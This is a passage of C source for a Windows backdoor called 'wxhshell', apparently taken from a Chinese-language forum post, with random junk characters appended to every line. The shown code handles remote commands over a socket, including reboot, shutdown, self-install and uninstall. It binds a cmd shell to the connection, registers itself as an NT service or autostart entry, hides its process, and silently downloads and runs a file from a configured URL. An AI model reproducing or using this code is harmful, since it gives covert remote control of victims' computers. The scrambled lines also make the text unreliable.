  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vd~U@-C=R  
  } c;!g  
  else { !c8L[/L  
T`L}[?w  
    switch(cmd[0]) { 4_Rdp`x#J  
  w-FnE}"l  
  // 帮助 ySX/=T:<;  
  case '?': { IvU{Xm"qB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3A0_C?E  
    break; [STje8+V  
  } ]S /G\z  
  // 安装 ^" 6f\  
  case 'i': { a+(j ?_FyI  
    if(Install()) ?iSGH'[u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%MyR8'k]  
    else R$0U<(/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vbDB4  
    break; ZxSsR{  
    } Bhuw(KeB  
  // 卸载 8]*Q79  
  case 'r': { =y;@?=T  
    if(Uninstall()) 19y 0$e_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OXtBJYe  
    else B3b,F#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ut)+T V  
    break; }brr ) )  
    } h%b hrkD  
  // 显示 wxhshell 所在路径 Qilj/x68  
  case 'p': { zeOb Aw1O  
    char svExeFile[MAX_PATH]; >}]H;& l  
    strcpy(svExeFile,"\n\r"); U1\MA6pXW  
      strcat(svExeFile,ExeFile); HWtPLlNt  
        send(wsh,svExeFile,strlen(svExeFile),0); !LSs9_w  
    break; Q_lu`F|  
    } EVz9WY  
  // 重启 ./iXyta  
  case 'b': { 9eSRCLhgD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /RF%1!M K  
    if(Boot(REBOOT)) 1M+Zkak7p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9 uVCR  
    else { i7v/A&Rc  
    closesocket(wsh); ~= 9V v  
    ExitThread(0); @,6ST0xT (  
    } &wGg6$  
    break; sMJ#<w}Q  
    } g\J)= ,ju,  
  // 关机 )+B=z}:Nfz  
  case 'd': { GMb!Q0I8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W:B}u\)C  
    if(Boot(SHUTDOWN)) u[[/w&UV.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (-2R{! A  
    else { }:^XX0:FK  
    closesocket(wsh); KZ\dB;W< |  
    ExitThread(0); sA2o2~AmM  
    } jEE_D +K  
    break; 7-g^2sa'(  
    } "gg(tp45  
  // 获取shell <j"O%y.  
  case 's': { A:xb!= 2  
    CmdShell(wsh); c,AZ/t  
    closesocket(wsh); /'`6 ; uRN  
    ExitThread(0); 7jR7  
    break; rG5i-'  
  } Ys+N,:#R  
  // 退出 Ns~ g+C9  
  case 'x': { mS7E_A8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); % &+|==-  
    CloseIt(wsh); EFNdiv$wF  
    break; wLSjXpP8  
    } }!knU3J  
  // 离开 5F03y`@ u  
  case 'q': { `E%(pjG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |w,^"j2R  
    closesocket(wsh); u= l0f6W  
    WSACleanup(); "?+UI   
    exit(1); lYdQB[l  
    break; jqqaw  
        } jQ^Yj"6  
  } :%>oe> _"  
  } yI *M[0  
q|/!0MU"  
  // 提示信息 {V=vn L--  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o] S`+ZcV  
} B~4mk  
  } ~q5-9{ma  
2}|vWKej{  
  return; k$?&]! <o  
} K.r!?cfv  
mR6E]TuM  
// shell模块句柄 P69>gBZYD  
int CmdShell(SOCKET sock) b/G8M r  
{ ;]"n?uo  
STARTUPINFO si; ;\q<zO@x  
ZeroMemory(&si,sizeof(si)); iPNd!_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L c{!FG>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zo87^y5?G  
PROCESS_INFORMATION ProcessInfo; .0KOnLdK  
char cmdline[]="cmd"; I(y`)$}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0A@-9w=u  
  return 0; yh4jRe?f  
} W|~q<},j  
Z!k5"\{0pE  
// 自身启动模式  ,&4zKm  
int StartFromService(void) 9PWm@ Nlf  
{ u`nt\OF  
typedef struct '|J)ds  
{ ,%.:g65%  
  DWORD ExitStatus; d7\k  gh  
  DWORD PebBaseAddress; ;q'DGzh  
  DWORD AffinityMask; y K=S!7p\  
  DWORD BasePriority; KgL<}=S  
  ULONG UniqueProcessId; +i2YX7Of  
  ULONG InheritedFromUniqueProcessId; rR3m' [  
}   PROCESS_BASIC_INFORMATION; EF0Pt  
`g2&{)3k  
PROCNTQSIP NtQueryInformationProcess; 6{lG1\o  
$;Q=iv 3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  %L{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]kzv8#  
hw7~i  
  HANDLE             hProcess; Cd$dn HVh  
  PROCESS_BASIC_INFORMATION pbi; P~n8EO1r  
CuF%[9[cT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,,zd.9n  
  if(NULL == hInst ) return 0; m`[oT\  
cYE./1D a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i=x.tsJ:hB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?hP<@L6K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {_?T:`  
qAnA=/k`  
  if (!NtQueryInformationProcess) return 0; 7j4ej|Fjo  
Cca~Cq[%*(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;*n_N!v  
  if(!hProcess) return 0; +.XZK3  
Ks9FnDm8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #_JA5W+E  
Qd 9-u)L<  
  CloseHandle(hProcess); 6@*5! ,  
>SY 2LmV'a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hwEZj`9  
if(hProcess==NULL) return 0; (R9QBZP5  
m+;B!4 6  
HMODULE hMod; (rau8  
char procName[255]; A%.J%[MVz  
unsigned long cbNeeded; Q:'qw#P/C  
]Y?{$M G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bS_y_ 9K  
uEc0/ a :.  
  CloseHandle(hProcess); cfrvy^>,  
h[Ndtq>3{  
if(strstr(procName,"services")) return 1; // 以服务启动 2V#c[%vI  
d08`42Z69  
  return 0; // 注册表启动 V:nMo2'hb  
} H ={O13  
n1fE daa7g  
// 主模块 {QIS411  
int StartWxhshell(LPSTR lpCmdLine) !N@S^JD6  
{ wrZ7Sr!/V  
  SOCKET wsl; e|2vb GQ  
BOOL val=TRUE; yEMX`  
  int port=0; !D.= 'V  
  struct sockaddr_in door; >X-ed  
s BeP;ox  
  if(wscfg.ws_autoins) Install(); `@VM<av  
)x_W&*oZ  
port=atoi(lpCmdLine); HPu/. oE  
krEH`f  
if(port<=0) port=wscfg.ws_port; $gj+v+%N  
qcR|E`k-G  
  WSADATA data; t~+{Hr) #y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RT8_@8  
tdMP,0u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,yB?~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "ZA$"^  
  door.sin_family = AF_INET; B,BOzpb(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q\ \8b{~  
  door.sin_port = htons(port); tEpIyC  
1kz9>;Ud6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #;qFPj- v  
closesocket(wsl); doxdRYKL  
return 1; CS^ oiV%{s  
} 1B9Fb.i  
'$2oSd  
  if(listen(wsl,2) == INVALID_SOCKET) { z&;zU)Jvd  
closesocket(wsl); &;r'{$  
return 1; P%<aGb4  
} m<X#W W)N  
  Wxhshell(wsl); \Y>#^b?  
  WSACleanup(); )V9Mcr*Ce6  
l`~a}y"n  
return 0; rzYobOKd#  
XudH  
} FOlA* U4U  
yi AG'[  
// 以NT服务方式启动 Zh@4_Z9n!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]noP  
{ Et @=Ic^E  
DWORD   status = 0; onWYT}c{  
  DWORD   specificError = 0xfffffff; pAUfG^v  
+[X.-,yW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,N))=/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $~w@0Yl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A|`Joxr  
  serviceStatus.dwWin32ExitCode     = 0; {LMS~nx  
  serviceStatus.dwServiceSpecificExitCode = 0; )DklOEO  
  serviceStatus.dwCheckPoint       = 0; qJbhPY8Ak  
  serviceStatus.dwWaitHint       = 0; hX'z]Am<  
_4XoUE\\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `ohF?5J,  
  if (hServiceStatusHandle==0) return; do?S,'(g  
(:j+[3Ht  
status = GetLastError(); cW~6@&zp  
  if (status!=NO_ERROR) ]$?zT`>(F  
{ m"?' hR2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \U<F\i  
    serviceStatus.dwCheckPoint       = 0; k Nf!j  
    serviceStatus.dwWaitHint       = 0; ^t^<KL;  
    serviceStatus.dwWin32ExitCode     = status; YN5OuKMUd'  
    serviceStatus.dwServiceSpecificExitCode = specificError; R5'Z4.~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v4,syd*3|V  
    return; kw}ISXz v  
  } 9Ww=hfb5UW  
*'`3]!A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lo>-}xd  
  serviceStatus.dwCheckPoint       = 0; 9m#H24{V'  
  serviceStatus.dwWaitHint       = 0; 9 +N._u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =JySY@?9  
} 9`gGsC  
!7,K9/"  
// 处理NT服务事件,比如:启动、停止 @6I[{{>X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jq?^8y  
{ S7#^u`'Q_^  
switch(fdwControl) LfjS[  
{ KH@) +Rj  
case SERVICE_CONTROL_STOP: l;][Q]Z@V  
  serviceStatus.dwWin32ExitCode = 0; ?O.6r"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mn6p s6OB  
  serviceStatus.dwCheckPoint   = 0; c@ZkX]g  
  serviceStatus.dwWaitHint     = 0; <'4!G"_EP  
  { *~t$k56  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (X`t"*y"  
  } [pC-{~  
  return; p Yi=q  
case SERVICE_CONTROL_PAUSE: #(7RX}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Xkc0E1  
  break; (Aov}I+  
case SERVICE_CONTROL_CONTINUE: ;t@ 3Go  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OL mBh3&  
  break; ;hfG$ {l;  
case SERVICE_CONTROL_INTERROGATE: |+4E 8;4_  
  break; 31o7R &v  
}; ?+}E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GD6'R"tJ  
} <g|nmu)o$  
9(FcA5Y  
// 标准应用程序主函数 ]a%\Q 2[c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CDTk  
{ zm)CfEF 8  
B"E(Y M  
// 获取操作系统版本  JY050FL  
OsIsNt=GetOsVer(); Velbq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,n,7.m.D  
;uWI l  
  // 从命令行安装 1rm$@L  
  if(strpbrk(lpCmdLine,"iI")) Install(); omUl2C  
;ZqD60%\  
  // 下载执行文件 CsST-qxg  
if(wscfg.ws_downexe) { ][$$  =  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yn ?U7`V  
  WinExec(wscfg.ws_filenam,SW_HIDE); j|$y)FBX  
} Lw2YP[CR  
E/ed0'|m  
if(!OsIsNt) { XGrxzO|{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rp@}9qijb  
HideProc(); k f K"i  
StartWxhshell(lpCmdLine); ZsK'</7  
} +[l{C+p  
else I}Gl*@K&O  
  if(StartFromService()) )*L?PT  
  // 以服务方式启动 cX=b q_  
  StartServiceCtrlDispatcher(DispatchTable); [#@p{[?r  
else a~N)qYL:  
  // 普通方式启动 }"; hz*a  
  StartWxhshell(lpCmdLine); #.G>SeTn2}  
{D2d({7  
return 0; $, @ rKRY  
}
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只看该作者 1 发表于: 2006-10-10
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